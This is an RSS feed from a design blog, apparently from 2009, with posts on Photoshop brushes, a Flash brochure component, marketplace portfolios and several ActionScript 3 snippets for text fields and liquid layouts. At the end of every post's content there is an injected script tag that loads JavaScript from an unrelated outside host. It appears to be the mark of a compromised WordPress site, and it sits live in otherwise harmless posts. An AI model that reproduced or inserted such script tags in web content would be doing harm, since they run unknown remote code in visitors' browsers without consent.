<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; featured</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/featured/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>33 Marker Pen &amp; Pencil Textured Scratch Brushes</title>
		<link>http://blog.thornyrabbit.com/2009/11/33-marker-pen-pencil-textured-scratch-brushes/</link>
		<comments>http://blog.thornyrabbit.com/2009/11/33-marker-pen-pencil-textured-scratch-brushes/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 16:02:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[photoshop brushes]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=285</guid>
		<description><![CDATA[One of our latest creations. 33 different brushes – defined as a Photoshop set of brushes (ABR), a layered psd and a set of transparent pngs included, plus short help file. Brushes range in size from well over 2000 pixels to over 600 and are created at 600 dpi. Each brush is a useful for [...]]]></description>
			<content:encoded><![CDATA[<p>One of our latest creations. 33 different brushes – defined as a Photoshop set of brushes (ABR), a layered psd and a set of transparent pngs included, plus short help file. Brushes range in size from well over 2000 pixels to over 600 and are created at 600 dpi. Each brush is a useful for borders, texture overlays or patterns as a single brush, or using brush presets can scatter to create cool effects like stitching, grass or whatever. Scanned from pencil and marker pen doodles, they retain a texture reflecting the original media, making for a hand painted result that is organic and natural.</p>
<p>Available for purchase on <a href="http://graphicriver.net/item/33-marker-pen-pencil-textured-scratch-brushes/69427" target="_blank">Graphic River</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/11/33-marker-pen-pencil-textured-scratch-brushes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brochure Open Engine</title>
		<link>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/</link>
		<comments>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 01:08:07 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=233</guid>
		<description><![CDATA[This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example [...]]]></description>
			<content:encoded><![CDATA[<p>This is one of the earlier items we uploaded to Flashden, but it has proved to be reasonabily popular, so I thought I would highlight it. It is a pretty nifty little flash movie, that is kinda like the evil flash flipping book. I hate flipping books, although it does work in places, for example on the <a href="http://www.Blurb.com" target="_blank">www.Blurb.com</a> site.</p>
<p>What I like about this is that you can have more of a brochure instead of a magazine / book as a lot of the time one tends to create brochures more and also it is a bit more unique. Andrew coded this in ActionScript 3 and since he knows far more than I do about the subject I will not go into the technical aspects of it.</p>
<p><a href="http://flashden.net/item/brochure-open-engine/40619"><img class="alignnone size-full wp-image-258" title="bunnies" src="http://blog.thornyrabbit.com/wp-content/uploads/2009/10/bunnies1.jpg" alt="bunnies" width="400" height="203" /></a></p>
<p><strong>In summary this is what it does:</strong></p>
<p>Brochure Open Engine uses 6 images in the library to create an interactive animated brochure opening, flipping over, and closing.The images can be easily replaced (provided the symbols are kept centered). File size is dependent on the size of the images used. All symbols are editable in the Library. Size is fixed based on the required area to display the full brochure, user can adjust as needed.</p>
<p>If you like the sounds of it have a look on <a href="http://flashden.net/item/brochure-open-engine/40619" target="_blank">Flashden</a>, and even better you can always buy it!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/10/brochure-open-engine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thornyrabbit on the Envato Market Places</title>
		<link>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/</link>
		<comments>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 01:42:48 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[featured]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=216</guid>
		<description><![CDATA[We recently decided to explore the Envato market places and we have been creating some stock flash and graphics for it. We have not created very much yet, but we are hoping to grow our portfolios there. View what we have on: Flashden GraphicRiver]]></description>
			<content:encoded><![CDATA[<p>We recently decided to explore the Envato market places and we have been creating some stock flash and graphics for it. We have not created very much yet, but we are hoping to grow our portfolios there.</p>
<p><strong>View what we have on:</strong></p>
<ul>
<li><a href="http://flashden.net/user/thornyrabbit/portfolio" target="_blank">Flashden</a></li>
<li><a href="http://graphicriver.net/user/thornyrabbit/portfolio" target="_blank">GraphicRiver</a></li>
</ul>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/09/thornyrabbit-on-the-envato-market-places/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe TextArea component &#8211; adding and controlling.</title>
		<link>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:31:01 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Carat]]></category>
		<category><![CDATA[Component]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Loader]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=211</guid>
		<description><![CDATA[Adding the Adobe TextArea component and setting properties for padding, carat, loading html and setting start scroll point.]]></description>
			<content:encoded><![CDATA[<p><strong>Imports:</strong></p>
<p>import fl.controls.*;//text area component</p>
<p>import flash.net.*;</p>
<p>import flash.text.*;</p>
<p> </p>
<p><strong>Load html text into TextArea component:</strong></p>
<p>private function loadCaseOverviewText():void {</p>
<p>var urlLdr:URLLoader = new URLLoader();</p>
<p>urlLdr.addEventListener(Event.COMPLETE, completeTextLoadHandler);</p>
<p>urlLdr.dataFormat = URLLoaderDataFormat.TEXT;</p>
<p>urlLdr.load(new URLRequest(&#8220;text_assets/advertising_overview.html&#8221;));</p>
<p>}//loadCaseOverviewText</p>
<p> </p>
<p>private function completeTextLoadHandler(event:Event):void {</p>
<p>var str:String = event.target.data as String;</p>
<p>textAreaCMP.htmlText = str;</p>
<p>}//completeTextLoadHandler</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Position scrollbar back at top of TextArea component when new content is loaded or a new section is navigated to using:</strong></p>
<p>textAreaCMP.verticalScrollPosition = 1;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Set padding in TextArea component:</strong></p>
<p>textAreaCMP.setStyle(&#8220;textPadding&#8221; , 10);</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Disable carat (bar) cursor from showing when rolling over textArea component:</strong></p>
<p>textAreaCMP.drawFocus (false);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/adobe-textarea-component-adding-and-controlling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Text Formatting &amp; AutoSizing</title>
		<link>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:27:24 +0000</pubDate>
		<dc:creator>Michele</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[AutoSize]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Text Format]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=209</guid>
		<description><![CDATA[Bit chaotic but these properties are always useful when adding text fields.]]></description>
			<content:encoded><![CDATA[<p>private function addTextCaption():void{</p>
<p>if(textCaption != null){</p>
<p>removeChild(textCaption);</p>
<p>}//remove if it exists</p>
<p><span> </span></p>
<p>textCaption = new TextField();</p>
<p><span> </span></p>
<p>var font:Verdana = new Verdana(); //linkage name in library</p>
<p>var format:TextFormat = new TextFormat(); //should have separate formatting function</p>
<p>format.font = font.fontName;</p>
<p>format.color = textColorVar;</p>
<p>format.size = infoFontSize;</p>
<p>format.align = TextFormatAlign.LEFT;</p>
<p> </p>
<p>textCaption.x = thumbnailWidth + textBorder; </p>
<p>textCaption.y = imageHeight + headingHeight;</p>
<p>textCaption.width = stage.stageWidth &#8211; thumbnailWidth;</p>
<p>textCaption.height =  200; //don&#8217;t need height if autosize single or multiline text</p>
<p>textCaption.multiline = true;</p>
<p>textCaption.wordWrap = true;//must be set else cuts off</p>
<p>//textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.antiAliasType = flash.text.AntiAliasType.ADVANCED;</p>
<p>textCaption.selectable = false;</p>
<p>textCaption.embedFonts = true;</p>
<p>addChild(textCaption);</p>
<p>textCaption.defaultTextFormat = format;</p>
<p>textCaption.text = imageCaptionArray[tempCounter];</p>
<p>}//addTextCaption</p>
<p><strong>NOTES:</strong></p>
<p>To autosize height do not specify a height but must include autosize:</p>
<p>textCaption.wordWrap = true;</p>
<p>textCaption.autoSize = TextFieldAutoSize.LEFT;</p>
<p>textCaption.x =  textBoxXPos; </p>
<p>textCaption.y = textBoxYPos;</p>
<p>textCaption.width = stageWide &#8211; textBoxXPos;</p>
<p>//textCaption.height =  stageHigh &#8211; textBoxYPos;//not allowed with autoSize<br />
<em>For width autosize leave out width obviously.</em><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/text-formatting-autosizing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>StageListeners &#8211; Fluid Layout (fill class as basis to position items)</title>
		<link>http://blog.thornyrabbit.com/2009/04/stagelisteners-fluid-layout-fill-class-as-basis-to-position-items/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/stagelisteners-fluid-layout-fill-class-as-basis-to-position-items/#comments</comments>
		<pubDate>Mon, 06 Apr 2009 23:03:40 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Class]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Liquid Layout]]></category>
		<category><![CDATA[stage]]></category>
		<category><![CDATA[stageListeners]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=193</guid>
		<description><![CDATA[Full class to use for creating liquid layouts (AS3).]]></description>
			<content:encoded><![CDATA[<p><strong>Class and how to instatiate &#8211; useful for liquid layouts:</strong></p>
<p>package {</p>
<p><span> </span>import flash.display.*</p>
<p><span> </span>import flash.events.*;</p>
<p><span> </span></p>
<p><span> </span>public class StageListeners extends Sprite {</p>
<p><span> </span></p>
<p><span> </span>private var _mc:Sprite;</p>
<p><span> </span>private var mcStage:Stage;</p>
<p><span> </span></p>
<p><span> </span>public function StageListeners(_mc:Sprite){</p>
<p><span> </span>this._mc = _mc;</p>
<p><span> </span>mcStage = _mc.stage;</p>
<p><span> </span>addStageListener();</p>
<p><span> </span>}//StageListeners</p>
<p><span> </span></p>
<p><span> </span>public function addStageListener() {</p>
<p><span> </span>mcStage.scaleMode = StageScaleMode.NO_SCALE;</p>
<p><span> </span>mcStage.align = StageAlign.TOP_LEFT;</p>
<p><span> </span>mcStage.addEventListener(Event.RESIZE, resizeHandler);</p>
<p><span> </span>}//addStageListener</p>
<p><span> </span></p>
<p><span> </span>private function resizeHandler(event:Event):void {</p>
<p><span> </span>trace(&#8220;stageWidth: &#8220;+mcStage.stageWidth);</p>
<p><span> </span>trace(&#8220;stageHeight: &#8220;+mcStage.stageHeight);</p>
<p>//aligned center</p>
<p><span> </span>_mc.x = mcStage.stageWidth/2;</p>
<p><span> </span>_mc.y = mcStage.stageHeight/2;</p>
<p><span> </span>//or if aligned left</p>
<p><span> </span>_mc.x = 0;</p>
<p><span> </span>_mc.width = mcStage.stageWidth;</p>
<p><span> </span>var scaleAmountX:Number = _mc.scaleX;</p>
<p><span> </span>_mc.scaleY = scaleAmountX; //keep proportional</p>
<p><span> </span>}//resizeHandler</p>
<p><span> </span></p>
<p><span> </span>}//class</p>
<p>}//package</p>
<p><strong>//////////////////////instantiate with:</strong></p>
<p>var bgStageListener:StageListeners = new StageListeners(resizeBg);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/stagelisteners-fluid-layout-fill-class-as-basis-to-position-items/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
